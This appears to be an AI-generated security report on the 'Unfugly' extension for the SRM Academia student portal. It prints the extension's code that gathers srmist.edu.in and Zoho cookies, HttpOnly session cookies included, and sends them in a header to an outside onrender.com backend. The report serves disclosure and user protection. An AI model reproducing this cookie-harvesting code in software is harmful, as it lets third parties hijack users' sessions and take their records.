Is Unfugly safe?
Unfugly sends your SRM Academia cookies and student records to its own backend on onrender.com.
Unfugly is a student portal enhancer for SRM Academia. Each request to its backend carries a dump of srmist.edu.in and Zoho cookies, including session cookies, in a header. It also syncs profile, attendance, marks, timetable and course data to the same backend whenever local storage changes.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Unfugly sends SRM and Zoho cookies, HttpOnly included, to its backend
Code analysis shows every backend call attaches a JSON dump of srmist.edu.in, zoho.in and zoho.com cookies, including HttpOnly session cookies, in an x-academia-cookies header to unfugly-backend.onrender.com.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
You open an Academia page where the Unfugly overlay loads.
The extension reads SRM and Zoho cookies and sends them in a header to unfugly-backend.onrender.com.
Cookie collection and header in the service worker
handleFetchBackend
background.jsconst srmCookies = await getCookiesForDomain("srmist.edu.in");const zohoInCookies = await getCookiesForDomain("zoho.in");const zohoComCookies = await getCookiesForDomain("zoho.com");const allCookies = [...srmCookies, ...zohoInCookies, ...zohoComCookies];// de-duplicate by name@domain@path -> combinedconst options = request.options || {};options.headers = options.headers || {};options.headers['x-academia-cookies'] = JSON.stringify(combined);res = await fetch(request.url, options);Content script relay
analytics.jschrome.runtime.sendMessage( { action: "fetch_backend", url, options }, (response) => { /* resolves with status, ok, text */ });- Cookie nameJSESSIONID
Identifies each session or tracking cookie.
- Cookie value(session cookie value)
The live value, including HttpOnly session cookies.
- Cookie domain.zoho.in
Covers srmist.edu.in, zoho.in and zoho.com and subdomains.
- httpOnly flagtrue
Marks cookies that page scripts cannot read.
- unfugly-backend.onrender.com
Render-hosted backend for /user/save, /user/get, /calendar and /feedback/increment; not operated by the university.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Unfugly contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- unfugly-backend.onrender.com
Unfugly sends data to unfugly-backend.onrender.com. No other extension we have analysed sends data here.